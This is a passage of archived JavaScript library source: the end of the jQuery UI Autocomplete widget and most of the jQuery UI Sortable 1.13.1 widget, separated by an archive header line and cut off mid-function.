this.isNewMenu ) { this.isNewMenu = false; if ( event.originalEvent && /^mouse/.test( event.originalEvent.type ) ) { this.menu.blur(); this.document.one( "mousemove", function() { $( event.target ).trigger( event.originalEvent ); } ); return; } } item = ui.item.data( "ui-autocomplete-item" ); if ( false !== this._trigger( "focus", event, { item: item } ) ) { // use value to match what will end up in the input, if it was a key event if ( event.originalEvent && /^key/.test( event.originalEvent.type ) ) { this._value( item.value ); } } // Announce the value in the liveRegion label = ui.item.attr( "aria-label" ) || item.value; if ( label && String.prototype.trim.call( label ).length ) { clearTimeout( this.liveRegionTimer ); this.liveRegionTimer = this._delay( function() { this.liveRegion.html( $( "<div>" ).text( label ) ); }, 100 ); } }, menuselect: function( event, ui ) { var item = ui.item.data( "ui-autocomplete-item" ), previous = this.previous; // Only trigger when focus was lost (click on menu) if ( this.element[ 0 ] !== $.ui.safeActiveElement( this.document[ 0 ] ) ) { this.element.trigger( "focus" ); this.previous = previous; // #6109 - IE triggers two focus events and the second // is asynchronous, so we need to reset the previous // term synchronously and asynchronously :-( this._delay( function() { this.previous = previous; this.selectedItem = item; } ); } if ( false !== this._trigger( "select", event, { item: item } ) ) { this._value( item.value ); } // reset the term after the select event // this allows custom select handling to work properly this.term = this._value(); this.close( event ); this.selectedItem = item; } } ); this.liveRegion = $( "<div>", { role: "status", "aria-live": "assertive", "aria-relevant": "additions" } ) .appendTo( this.document[ 0 ].body ); this._addClass( this.liveRegion, null, "ui-helper-hidden-accessible" ); // Turning off autocomplete prevents the browser from remembering the // value when navigating through history, so we re-enable autocomplete // if the page is unloaded before the widget is destroyed. #7790 this._on( this.window, { beforeunload: function() { this.element.removeAttr( "autocomplete" ); } } ); }, _destroy: function() { clearTimeout( this.searching ); this.element.removeAttr( "autocomplete" ); this.menu.element.remove(); this.liveRegion.remove(); }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "source" ) { this._initSource(); } if ( key === "appendTo" ) { this.menu.element.appendTo( this._appendTo() ); } if ( key === "disabled" && value && this.xhr ) { this.xhr.abort(); } }, _isEventTargetInWidget: function( event ) { var menuElement = this.menu.element[ 0 ]; return event.target === this.element[ 0 ] || event.target === menuElement || $.contains( menuElement, event.target ); }, _closeOnClickOutside: function( event ) { if ( !this._isEventTargetInWidget( event ) ) { this.close(); } }, _appendTo: function() { var element = this.options.appendTo; if ( element ) { element = element.jquery || element.nodeType ? $( element ) : this.document.find( element ).eq( 0 ); } if ( !element || !element[ 0 ] ) { element = this.element.closest( ".ui-front, dialog" ); } if ( !element.length ) { element = this.document[ 0 ].body; } return element; }, _initSource: function() { var array, url, that = this; if ( Array.isArray( this.options.source ) ) { array = this.options.source; this.source = function( request, response ) { response( $.ui.autocomplete.filter( array, request.term ) ); }; } else if ( typeof this.options.source === "string" ) { url = this.options.source; this.source = function( request, response ) { if ( that.xhr ) { that.xhr.abort(); } that.xhr = $.ajax( { url: url, data: request, dataType: "json", success: function( data ) { response( data ); }, error: function() { response( [] ); } } ); }; } else { this.source = this.options.source; } }, _searchTimeout: function( event ) { clearTimeout( this.searching ); this.searching = this._delay( function() { // Search if the value has changed, or if the user retypes the same value (see #7434) var equalValues = this.term === this._value(), menuVisible = this.menu.element.is( ":visible" ), modifierKey = event.altKey || event.ctrlKey || event.metaKey || event.shiftKey; if ( !equalValues || ( equalValues && !menuVisible && !modifierKey ) ) { this.selectedItem = null; this.search( null, event ); } }, this.options.delay ); }, search: function( value, event ) { value = value != null ? value : this._value(); // Always save the actual value, not the one passed as an argument this.term = this._value(); if ( value.length < this.options.minLength ) { return this.close( event ); } if ( this._trigger( "search", event ) === false ) { return; } return this._search( value ); }, _search: function( value ) { this.pending++; this._addClass( "ui-autocomplete-loading" ); this.cancelSearch = false; this.source( { term: value }, this._response() ); }, _response: function() { var index = ++this.requestIndex; return function( content ) { if ( index === this.requestIndex ) { this.__response( content ); } this.pending--; if ( !this.pending ) { this._removeClass( "ui-autocomplete-loading" ); } }.bind( this ); }, __response: function( content ) { if ( content ) { content = this._normalize( content ); } this._trigger( "response", null, { content: content } ); if ( !this.options.disabled && content && content.length && !this.cancelSearch ) { this._suggest( content ); this._trigger( "open" ); } else { // use ._close() instead of .close() so we don't cancel future searches this._close(); } }, close: function( event ) { this.cancelSearch = true; this._close( event ); }, _close: function( event ) { // Remove the handler that closes the menu on outside clicks this._off( this.document, "mousedown" ); if ( this.menu.element.is( ":visible" ) ) { this.menu.element.hide(); this.menu.blur(); this.isNewMenu = true; this._trigger( "close", event ); } }, _change: function( event ) { if ( this.previous !== this._value() ) { this._trigger( "change", event, { item: this.selectedItem } ); } }, _normalize: function( items ) { // assume all items have the right format when the first item is complete if ( items.length && items[ 0 ].label && items[ 0 ].value ) { return items; } return $.map( items, function( item ) { if ( typeof item === "string" ) { return { label: item, value: item }; } return $.extend( {}, item, { label: item.label || item.value, value: item.value || item.label } ); } ); }, _suggest: function( items ) { var ul = this.menu.element.empty(); this._renderMenu( ul, items ); this.isNewMenu = true; this.menu.refresh(); // Size and position menu ul.show(); this._resizeMenu(); ul.position( $.extend( { of: this.element }, this.options.position ) ); if ( this.options.autoFocus ) { this.menu.next(); } // Listen for interactions outside of the widget (#6642) this._on( this.document, { mousedown: "_closeOnClickOutside" } ); }, _resizeMenu: function() { var ul = this.menu.element; ul.outerWidth( Math.max( // Firefox wraps long text (possibly a rounding bug) // so we add 1px to avoid the wrapping (#7513) ul.width( "" ).outerWidth() + 1, this.element.outerWidth() ) ); }, _renderMenu: function( ul, items ) { var that = this; $.each( items, function( index, item ) { that._renderItemData( ul, item ); } ); }, _renderItemData: function( ul, item ) { return this._renderItem( ul, item ).data( "ui-autocomplete-item", item ); }, _renderItem: function( ul, item ) { return $( "<li>" ) .append( $( "<div>" ).text( item.label ) ) .appendTo( ul ); }, _move: function( direction, event ) { if ( !this.menu.element.is( ":visible" ) ) { this.search( null, event ); return; } if ( this.menu.isFirstItem() && /^previous/.test( direction ) || this.menu.isLastItem() && /^next/.test( direction ) ) { if ( !this.isMultiLine ) { this._value( this.term ); } this.menu.blur(); return; } this.menu[ direction ]( event ); }, widget: function() { return this.menu.element; }, _value: function() { return this.valueMethod.apply( this.element, arguments ); }, _keyEvent: function( keyEvent, event ) { if ( !this.isMultiLine || this.menu.element.is( ":visible" ) ) { this._move( keyEvent, event ); // Prevents moving cursor to beginning/end of the text field in some browsers event.preventDefault(); } }, // Support: Chrome <=50 // We should be able to just use this.element.prop( "isContentEditable" ) // but hidden elements always report false in Chrome. // https://code.google.com/p/chromium/issues/detail?id=313082 _isContentEditable: function( element ) { if ( !element.length ) { return false; } var editable = element.prop( "contentEditable" ); if ( editable === "inherit" ) { return this._isContentEditable( element.parent() ); } return editable === "true"; } } ); $.extend( $.ui.autocomplete, { escapeRegex: function( value ) { return value.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ); }, filter: function( array, term ) { var matcher = new RegExp( $.ui.autocomplete.escapeRegex( term ), "i" ); return $.grep( array, function( value ) { return matcher.test( value.label || value.value || value ); } ); } } ); // Live region extension, adding a `messages` option // NOTE: This is an experimental API. We are still investigating // a full solution for string manipulation and internationalization. $.widget( "ui.autocomplete", $.ui.autocomplete, { options: { messages: { noResults: "No search results.", results: function( amount ) { return amount + ( amount > 1 ? " results are" : " result is" ) + " available, use up and down arrow keys to navigate."; } } }, __response: function( content ) { var message; this._superApply( arguments ); if ( this.options.disabled || this.cancelSearch ) { return; } if ( content && content.length ) { message = this.options.messages.results( content.length ); } else { message = this.options.messages.noResults; } clearTimeout( this.liveRegionTimer ); this.liveRegionTimer = this._delay( function() { this.liveRegion.html( $( "<div>" ).text( message ) ); }, 100 ); } } ); return $.ui.autocomplete; } ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/sortable.js����������������������������������������������������������������������������0000644�����������������00000134647�14717703502�0011312 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Sortable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Sortable //>>group: Interactions //>>description: Enables items in a list to be sorted using the mouse. //>>docs: http://api.jqueryui.com/sortable/ //>>demos: http://jqueryui.com/sortable/ //>>css.structure: ../../themes/base/sortable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.sortable", $.ui.mouse, { version: "1.13.1", widgetEventPrefix: "sort", ready: false, options: { appendTo: "parent", axis: false, connectWith: false, containment: false, cursor: "auto", cursorAt: false, dropOnEmpty: true, forcePlaceholderSize: false, forceHelperSize: false, grid: false, handle: false, helper: "original", items: "> *", opacity: false, placeholder: false, revert: false, scroll: true, scrollSensitivity: 20, scrollSpeed: 20, scope: "default", tolerance: "intersect", zIndex: 1000, // Callbacks activate: null, beforeStop: null, change: null, deactivate: null, out: null, over: null, receive: null, remove: null, sort: null, start: null, stop: null, update: null }, _isOverAxis: function( x, reference, size ) { return ( x >= reference ) && ( x < ( reference + size ) ); }, _isFloating: function( item ) { return ( /left|right/ ).test( item.css( "float" ) ) || ( /inline|table-cell/ ).test( item.css( "display" ) ); }, _create: function() { this.containerCache = {}; this._addClass( "ui-sortable" ); //Get the items this.refresh(); //Let's determine the parent's offset this.offset = this.element.offset(); //Initialize mouse events for interaction this._mouseInit(); this._setHandleClassName(); //We're ready to go this.ready = true; }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "handle" ) { this._setHandleClassName(); } }, _setHandleClassName: function() { var that = this; this._removeClass( this.element.find( ".ui-sortable-handle" ), "ui-sortable-handle" ); $.each( this.items, function() { that._addClass( this.instance.options.handle ? this.item.find( this.instance.options.handle ) : this.item, "ui-sortable-handle" ); } ); }, _destroy: function() { this._mouseDestroy(); for ( var i = this.items.length - 1; i >= 0; i-- ) { this.items[ i ].item.removeData( this.widgetName + "-item" ); } return this; }, _mouseCapture: function( event, overrideHandle ) { var currentItem = null, validHandle = false, that = this; if ( this.reverting ) { return false; } if ( this.options.disabled || this.options.type === "static" ) { return false; } //We have to refresh the items data once first this._refreshItems( event ); //Find out if the clicked node (or one of its parents) is a actual item in this.items $( event.target ).parents().each( function() { if ( $.data( this, that.widgetName + "-item" ) === that ) { currentItem = $( this ); return false; } } ); if ( $.data( event.target, that.widgetName + "-item" ) === that ) { currentItem = $( event.target ); } if ( !currentItem ) { return false; } if ( this.options.handle && !overrideHandle ) { $( this.options.handle, currentItem ).find( "*" ).addBack().each( function() { if ( this === event.target ) { validHandle = true; } } ); if ( !validHandle ) { return false; } } this.currentItem = currentItem; this._removeCurrentsFromItems(); return true; }, _mouseStart: function( event, overrideHandle, noActivation ) { var i, body, o = this.options; this.currentContainer = this; //We only need to call refreshPositions, because the refreshItems call has been moved to // mouseCapture this.refreshPositions(); //Prepare the dragged items parent this.appendTo = $( o.appendTo !== "parent" ? o.appendTo : this.currentItem.parent() ); //Create and append the visible helper this.helper = this._createHelper( event ); //Cache the helper size this._cacheHelperProportions(); /* * - Position generation - * This block generates everything position related - it's the core of draggables. */ //Cache the margins of the original element this._cacheMargins(); //The element's absolute position on the page minus margins this.offset = this.currentItem.offset(); this.offset = { top: this.offset.top - this.margins.top, left: this.offset.left - this.margins.left }; $.extend( this.offset, { click: { //Where the click happened, relative to the element left: event.pageX - this.offset.left, top: event.pageY - this.offset.top }, // This is a relative to absolute position minus the actual position calculation - // only used for relative positioned helper relative: this._getRelativeOffset() } ); // After we get the helper offset, but before we get the parent offset we can // change the helper's position to absolute // TODO: Still need to figure out a way to make relative sorting possible this.helper.css( "position", "absolute" ); this.cssPosition = this.helper.css( "position" ); //Adjust the mouse offset relative to the helper if "cursorAt" is supplied if ( o.cursorAt ) { this._adjustOffsetFromHelper( o.cursorAt ); } //Cache the former DOM position this.domPosition = { prev: this.currentItem.prev()[ 0 ], parent: this.currentItem.parent()[ 0 ] }; // If the helper is not the original, hide the original so it's not playing any role during // the drag, won't cause anything bad this way if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) { this.currentItem.hide(); } //Create the placeholder this._createPlaceholder(); //Get the next scrolling parent this.scrollParent = this.placeholder.scrollParent(); $.extend( this.offset, { parent: this._getParentOffset() } ); //Set a containment if given in the options if ( o.containment ) { this._setContainment(); } if ( o.cursor && o.cursor !== "auto" ) { // cursor option body = this.document.find( "body" ); // Support: IE this.storedCursor = body.css( "cursor" ); body.css( "cursor", o.cursor ); this.storedStylesheet = $( "<style>*{ cursor: " + o.cursor + " !important; }</style>" ).appendTo( body ); } // We need to make sure to grab the zIndex before setting the // opacity, because setting the opacity to anything lower than 1 // causes the zIndex to change from "auto" to 0. if ( o.zIndex ) { // zIndex option if ( this.helper.css( "zIndex" ) ) { this._storedZIndex = this.helper.css( "zIndex" ); } this.helper.css( "zIndex", o.zIndex ); } if ( o.opacity ) { // opacity option if ( this.helper.css( "opacity" ) ) { this._storedOpacity = this.helper.css( "opacity" ); } this.helper.css( "opacity", o.opacity ); } //Prepare scrolling if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { this.overflowOffset = this.scrollParent.offset(); } //Call callbacks this._trigger( "start", event, this._uiHash() ); //Recache the helper size if ( !this._preserveHelperProportions ) { this._cacheHelperProportions(); } //Post "activate" events to possible containers if ( !noActivation ) { for ( i = this.containers.length - 1; i >= 0; i-- ) { this.containers[ i ]._trigger( "activate", event, this._uiHash( this ) ); } } //Prepare possible droppables if ( $.ui.ddmanager ) { $.ui.ddmanager.current = this; } if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } this.dragging = true; this._addClass( this.helper, "ui-sortable-helper" ); //Move the helper, if needed if ( !this.helper.parent().is( this.appendTo ) ) { this.helper.detach().appendTo( this.appendTo ); //Update position this.offset.parent = this._getParentOffset(); } //Generate the original position this.position = this.originalPosition = this._generatePosition( event ); this.originalPageX = event.pageX; this.originalPageY = event.pageY; this.lastPositionAbs = this.positionAbs = this._convertPositionTo( "absolute" ); this._mouseDrag( event ); return true; }, _scroll: function( event ) { var o = this.options, scrolled = false; if ( this.scrollParent[ 0 ] !== this.document[ 0 ] && this.scrollParent[ 0 ].tagName !== "HTML" ) { if ( ( this.overflowOffset.top + this.scrollParent[ 0 ].offsetHeight ) - event.pageY < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollTop = scrolled = this.scrollParent[ 0 ].scrollTop + o.scrollSpeed; } else if ( event.pageY - this.overflowOffset.top < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollTop = scrolled = this.scrollParent[ 0 ].scrollTop - o.scrollSpeed; } if ( ( this.overflowOffset.left + this.scrollParent[ 0 ].offsetWidth ) - event.pageX < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollLeft = scrolled = this.scrollParent[ 0 ].scrollLeft + o.scrollSpeed; } else if ( event.pageX - this.overflowOffset.left < o.scrollSensitivity ) { this.scrollParent[ 0 ].scrollLeft = scrolled = this.scrollParent[ 0 ].scrollLeft - o.scrollSpeed; } } else { if ( event.pageY - this.document.scrollTop() < o.scrollSensitivity ) { scrolled = this.document.scrollTop( this.document.scrollTop() - o.scrollSpeed ); } else if ( this.window.height() - ( event.pageY - this.document.scrollTop() ) < o.scrollSensitivity ) { scrolled = this.document.scrollTop( this.document.scrollTop() + o.scrollSpeed ); } if ( event.pageX - this.document.scrollLeft() < o.scrollSensitivity ) { scrolled = this.document.scrollLeft( this.document.scrollLeft() - o.scrollSpeed ); } else if ( this.window.width() - ( event.pageX - this.document.scrollLeft() ) < o.scrollSensitivity ) { scrolled = this.document.scrollLeft( this.document.scrollLeft() + o.scrollSpeed ); } } return scrolled; }, _mouseDrag: function( event ) { var i, item, itemElement, intersection, o = this.options; //Compute the helpers position this.position = this._generatePosition( event ); this.positionAbs = this._convertPositionTo( "absolute" ); //Set the helper position if ( !this.options.axis || this.options.axis !== "y" ) { this.helper[ 0 ].style.left = this.position.left + "px"; } if ( !this.options.axis || this.options.axis !== "x" ) { this.helper[ 0 ].style.top = this.position.top + "px"; } //Do scrolling if ( o.scroll ) { if ( this._scroll( event ) !== false ) { //Update item positions used in position checks this._refreshItemPositions( true ); if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } } } this.dragDirection = { vertical: this._getDragVerticalDirection(), horizontal: this._getDragHorizontalDirection() }; //Rearrange for ( i = this.items.length - 1; i >= 0; i-- ) { //Cache variables and intersection, continue if no intersection item = this.items[ i ]; itemElement = item.item[ 0 ]; intersection = this._intersectsWithPointer( item ); if ( !intersection ) { continue; } // Only put the placeholder inside the current Container, skip all // items from other containers. This works because when moving // an item from one container to another the // currentContainer is switched before the placeholder is moved. // // Without this, moving items in "sub-sortables" can cause // the placeholder to jitter between the outer and inner container. if ( item.instance !== this.currentContainer ) { continue; } // Cannot intersect with itself // no useless actions that have been done before // no action if the item moved is the parent of the item checked if ( itemElement !== this.currentItem[ 0 ] && this.placeholder[ intersection === 1 ? "next" : "prev" ]()[ 0 ] !== itemElement && !$.contains( this.placeholder[ 0 ], itemElement ) && ( this.options.type === "semi-dynamic" ? !$.contains( this.element[ 0 ], itemElement ) : true ) ) { this.direction = intersection === 1 ? "down" : "up"; if ( this.options.tolerance === "pointer" || this._intersectsWithSides( item ) ) { this._rearrange( event, item ); } else { break; } this._trigger( "change", event, this._uiHash() ); break; } } //Post events to containers this._contactContainers( event ); //Interconnect with droppables if ( $.ui.ddmanager ) { $.ui.ddmanager.drag( this, event ); } //Call callbacks this._trigger( "sort", event, this._uiHash() ); this.lastPositionAbs = this.positionAbs; return false; }, _mouseStop: function( event, noPropagation ) { if ( !event ) { return; } //If we are using droppables, inform the manager about the drop if ( $.ui.ddmanager && !this.options.dropBehaviour ) { $.ui.ddmanager.drop( this, event ); } if ( this.options.revert ) { var that = this, cur = this.placeholder.offset(), axis = this.options.axis, animation = {}; if ( !axis || axis === "x" ) { animation.left = cur.left - this.offset.parent.left - this.margins.left + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? 0 : this.offsetParent[ 0 ].scrollLeft ); } if ( !axis || axis === "y" ) { animation.top = cur.top - this.offset.parent.top - this.margins.top + ( this.offsetParent[ 0 ] === this.document[ 0 ].body ? 0 : this.offsetParent[ 0 ].scrollTop ); } this.reverting = true; $( this.helper ).animate( animation, parseInt( this.options.revert, 10 ) || 500, function() { that._clear( event ); } ); } else { this._clear( event, noPropagation ); } return false; }, cancel: function() { if ( this.dragging ) { this._mouseUp( new $.Event( "mouseup", { target: null } ) ); if ( this.options.helper === "original" ) { this.currentItem.css( this._storedCSS ); this._removeClass( this.currentItem, "ui-sortable-helper" ); } else { this.currentItem.show(); } //Post deactivating events to containers for ( var i = this.containers.length - 1; i >= 0; i-- ) { this.containers[ i ]._trigger( "deactivate", null, this._uiHash( this ) ); if ( this.containers[ i ].containerCache.over ) { this.containers[ i ]._trigger( "out", null, this._uiHash( this ) ); this.containers[ i ].containerCache.over = 0; } } } if ( this.placeholder ) { //$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, // it unbinds ALL events from the original node! if ( this.placeholder[ 0 ].parentNode ) { this.placeholder[ 0 ].parentNode.removeChild( this.placeholder[ 0 ] ); } if ( this.options.helper !== "original" && this.helper && this.helper[ 0 ].parentNode ) { this.helper.remove(); } $.extend( this, { helper: null, dragging: false, reverting: false, _noFinalSort: null } ); if ( this.domPosition.prev ) { $( this.domPosition.prev ).after( this.currentItem ); } else { $( this.domPosition.parent ).prepend( this.currentItem ); } } return this; }, serialize: function( o ) { var items = this._getItemsAsjQuery( o && o.connected ), str = []; o = o || {}; $( items ).each( function() { var res = ( $( o.item || this ).attr( o.attribute || "id" ) || "" ) .match( o.expression || ( /(.+)[\-=_](.+)/ ) ); if ( res ) { str.push( ( o.key || res[ 1 ] + "[]" ) + "=" + ( o.key && o.expression ? res[ 1 ] : res[ 2 ] ) ); } } ); if ( !str.length && o.key ) { str.push( o.key + "=" ); } return str.join( "&" ); }, toArray: function( o ) { var items = this._getItemsAsjQuery( o && o.connected ), ret = []; o = o || {}; items.each( function() { ret.push( $( o.item || this ).attr( o.attribute || "id" ) || "" ); } ); return ret; }, /* Be careful with the following core functions */ _intersectsWith: function( item ) { var x1 = this.positionAbs.left, x2 = x1 + this.helperProportions.width, y1 = this.positionAbs.top, y2 = y1 + this.helperProportions.height, l = item.left, r = l + item.width, t = item.top, b = t + item.height, dyClick = this.offset.click.top, dxClick = this.offset.click.left, isOverElementHeight = ( this.options.axis === "x" ) || ( ( y1 + dyClick ) > t && ( y1 + dyClick ) < b ), isOverElementWidth = ( this.options.axis === "y" ) || ( ( x1 + dxClick ) > l && ( x1 + dxClick ) < r ), isOverElement = isOverElementHeight && isOverElementWidth; if ( this.options.tolerance === "pointer" || this.options.forcePointerForContainers || ( this.options.tolerance !== "pointer" && this.helperProportions[ this.floating ? "width" : "height" ] > item[ this.floating ? "width" : "height" ] ) ) { return isOverElement; } else { return ( l < x1 + ( this.helperProportions.width / 2 ) && // Right Half x2 - ( this.helperProportions.width / 2 ) < r && // Left Half t < y1 + ( this.helperProportions.height / 2 ) && // Bottom Half y2 - ( this.helperProportions.height / 2 ) < b ); // Top Half } }, _intersectsWithPointer: function( item ) { var verticalDirection, horizontalDirection, isOverElementHeight = ( this.options.axis === "x" ) || this._isOverAxis( this.positionAbs.top + this.offset.click.top, item.top, item.height ), isOverElementWidth = ( this.options.axis === "y" ) || this._isOverAxis( this.positionAbs.left + this.offset.click.left, item.left, item.width ), isOverElement = isOverElementHeight && isOverElementWidth; if ( !isOverElement ) { return false; } verticalDirection = this.dragDirection.vertical; horizontalDirection = this.dragDirection.horizontal; return this.floating ? ( ( horizontalDirection === "right" || verticalDirection === "down" ) ? 2 : 1 ) : ( verticalDirection && ( verticalDirection === "down" ? 2 : 1 ) ); }, _intersectsWithSides: function( item ) { var isOverBottomHalf = this._isOverAxis( this.positionAbs.top + this.offset.click.top, item.top + ( item.height / 2 ), item.height ), isOverRightHalf = this._isOverAxis( this.positionAbs.left + this.offset.click.left, item.left + ( item.width / 2 ), item.width ), verticalDirection = this.dragDirection.vertical, horizontalDirection = this.dragDirection.horizontal; if ( this.floating && horizontalDirection ) { return ( ( horizontalDirection === "right" && isOverRightHalf ) || ( horizontalDirection === "left" && !isOverRightHalf ) ); } else { return verticalDirection && ( ( verticalDirection === "down" && isOverBottomHalf ) || ( verticalDirection === "up" && !isOverBottomHalf ) ); } }, _getDragVerticalDirection: function() { var delta = this.positionAbs.top - this.lastPositionAbs.top; return delta !== 0 && ( delta > 0 ? "down" : "up" ); }, _getDragHorizontalDirection: function() { var delta = this.positionAbs.left - this.lastPositionAbs.left; return delta !== 0 && ( delta > 0 ? "right" : "left" ); }, refresh: function( event ) { this._refreshItems( event ); this._setHandleClassName(); this.refreshPositions(); return this; }, _connectWith: function() { var options = this.options; return options.connectWith.constructor === String ? [ options.connectWith ] : options.connectWith; }, _getItemsAsjQuery: function( connected ) { var i, j, cur, inst, items = [], queries = [], connectWith = this._connectWith(); if ( connectWith && connected ) { for ( i = connectWith.length - 1; i >= 0; i-- ) { cur = $( connectWith[ i ], this.document[ 0 ] ); for ( j = cur.length - 1; j >= 0; j-- ) { inst = $.data( cur[ j ], this.widgetFullName ); if ( inst && inst !== this && !inst.options.disabled ) { queries.push( [ typeof inst.options.items === "function" ? inst.options.items.call( inst.element ) : $( inst.options.items, inst.element ) .not( ".ui-sortable-helper" ) .not( ".ui-sortable-placeholder" ), inst ] ); } } } } queries.push( [ typeof this.options.items === "function" ? this.options.items .call( this.element, null, { options: this.options, item: this.currentItem } ) : $( this.options.items, this.element ) .not( ".ui-sortable-helper" ) .not( ".ui-sortable-placeholder" ), this ] ); function addItems() { items.push( this ); } for ( i = queries.length - 1; i >= 0; i-- ) { queries[ i ][ 0 ].each( addItems ); } return $( items ); }, _removeCurrentsFromItems: function() { var list = this.currentItem.find( ":data(" + this.widgetName + "-item)" ); this.items = $.grep( this.items, function( item ) { for ( var j = 0; j < list.length; j++ ) { if ( list[ j ] === item.item[ 0 ] ) { return false; } } return true; } ); }, _refreshItems: function( event ) { this.items = []; this.containers = [ this ]; var i, j, cur, inst, targetData, _queries, item, queriesLength, items = this.items, queries = [ [ typeof this.options.items === "function" ? this.options.items.call( this.element[ 0 ], event, { item: this.currentItem } ) : $( this.options.items, this.element ), this ] ], connectWith = this._connectWith(); //Shouldn't be run the first time through due to massive slow-down if ( connectWith && this.ready ) { for ( i = connectWith.length - 1; i >= 0; i-- ) { cur = $( connectWith[ i ], this.document[ 0 ] ); for ( j = cur.length - 1; j >= 0; j-- ) { inst = $.data( cur[ j ], this.widgetFullName ); if ( inst && inst !== this && !inst.options.disabled ) { queries.push( [ typeof inst.options.items === "function" ? inst.options.items .call( inst.element[ 0 ], event, { item: this.currentItem } ) : $( inst.options.items, inst.element ), inst ] ); this.containers.push( inst ); } } } } for ( i = queries.length - 1; i >= 0; i-- ) { targetData = queries[ i ][ 1 ]; _queries = queries[ i ][ 0 ]; for ( j = 0, queriesLength = _queries.length; j < queriesLength; j++ ) { item = $( _queries[ j ] ); // Data for target checking (mouse manager) item.data( this.widgetName + "-item", targetData ); items.push( { item: item, instance: targetData, width: 0, height: 0, left: 0, top: 0 } ); } } }, _refreshItemPositions: function( fast ) { var i, item, t, p; for ( i = this.items.length - 1; i >= 0; i-- ) { item = this.items[ i ]; //We ignore calculating positions of all connected containers when we're not over them if ( this.currentContainer && item.instance !== this.currentContainer && item.item[ 0 ] !== this.currentItem[ 0 ] ) { continue; } t = this.options.toleranceElement ? $( this.options.toleranceElement, item.item ) : item.item; if ( !fast ) { item.width = t.outerWidth(); item.height = t.outerHeight(); } p = t.offset(); item.left = p.left; item.top = p.top; } }, refreshPositions: function( fast ) { // Determine whether items are being displayed horizontally this.floating = this.items.length ? this.options.axis === "x" || this._isFloating( this.items[ 0 ].item ) : false; // This has to be redone because due to the item being moved out/into the offsetParent, // the offsetParent's position will change if ( this.offsetParent && this.helper ) { this.offset.parent = this._getParentOffset(); } this._refreshItemPositions( fast ); var i, p; if ( this.options.custom && this.options.custom.refreshContainers ) { this.options.custom.refreshContainers.call( this ); } else { for ( i = this.containers.length - 1; i >= 0; i-- ) { p = this.containers[ i ].element.offset(); this.containers[ i ].containerCache.left = p.left; this.containers[ i ].containerCache.top = p.top; this.containers[ i ].containerCache.width = this.containers[ i ].element.outerWidth(); this.containers[ i ].containerCache.height = this.containers[ i ].element.outerHeight(); } } return this; }, _createPlaceholder: function( that ) { that = that || this; var className, nodeName, o = that.options; if ( !o.placeholder || o.placeholder.constructor === String ) { className = o.placeholder; nodeName = that.currentItem[ 0 ].nodeName.toLowerCase(); o.placeholder = { element: function() { var element = $( "<" + nodeName + ">", that.document[ 0 ] ); that._addClass( element, "ui-sortable-placeholder", className || that.currentItem[ 0 ].className ) ._removeClass( element, "ui-sortable-helper" ); if ( nodeName === "tbody" ) { that._createTrPlaceholder( that.currentItem.find( "tr" ).eq( 0 ), $( "<tr>", that.document[ 0 ] ).appendTo( element ) ); } else if ( nodeName === "tr" ) { that._createTrPlaceholder( that.currentItem, element ); } else if ( nodeName === "img" ) { element.attr( "src", that.currentItem.attr( "src" ) ); } if ( !className ) { element.css( "visibility", "hidden" ); } return element; }, update: function( container, p ) { // 1. If a className is set as 'placeholder option, we don't force sizes - // the class is responsible for that // 2. The option 'forcePlaceholderSize can be enabled to force it even if a // class name is specified if ( className && !o.forcePlaceholderSize ) { return; } // If the element doesn't have a actual height or width by itself (without // styles coming from a stylesheet), it receives the inline height and width // from the dragged item. Or, if it's a tbody or tr, it's going to have a height // anyway since we're populating them with <td>s above, but they're unlikely to // be the correct height on their own if the row heights are dynamic, so we'll // always assign the height of the dragged item given forcePlaceholderSize // is true. if ( !p.height() || ( o.forcePlaceholderSize && ( nodeName === "tbody" || nodeName === "tr" ) ) ) { p.height( that.currentItem.innerHeight() - parseInt( that.currentItem.css( "paddingTop" ) || 0, 10 ) - parseInt( that.currentItem.css( "paddingBottom" ) || 0, 10 ) ); } if ( !p.width() ) { p.width( that.currentItem.innerWidth() - parseInt( that.currentItem.css( "paddingLeft" ) || 0, 10 ) - parseInt( that.currentItem.css( "paddingRight" ) || 0, 10 ) ); } } }; } //Create the placeholder that.placeholder = $( o.placeholder.element.call( that.element, that.currentItem ) ); //Append it after the actual current item that.currentItem.after( that.placeholder ); //Update the size of the placeholder (TODO: Logic to fuzzy, see line 316/317) o.placeholder.update( that, that.placeholder ); }, _createTrPlaceholder: function( sourceTr, targetTr ) { var that = this; sourceTr.children().each( function() { $( "<td> </td>", that.document[ 0 ] ) .attr( "colspan", $( this ).attr( "colspan" ) || 1 ) .appendTo( targetTr ); } ); }, _contactContainers: function( event ) { var i, j, dist, itemWithLeastDistance, posProperty, sizeProperty, cur, nearBottom, floating, axis, innermostContainer = null, innermostIndex = null; // Get innermost container that intersects with item for ( i = this.containers.length - 1; i >= 0; i-- ) { // Never consider a container that's located within the item itself if ( $.contains( this.currentItem[ 0 ], this.containers[ i ].element[ 0 ] ) ) { continue; } if ( this._intersectsWith( this.containers[ i ].containerCache ) ) { // If we've already found a container and it's more "inner" than this, then continue if ( innermostContainer && $.contains( this.containers[ i ].element[ 0 ], innermostContainer.element[ 0 ] ) ) { continue; } innermostContainer = this.containers[ i ]; innermostIndex = i; } else { // container doesn't intersect. trigger "out" event if necessary if ( 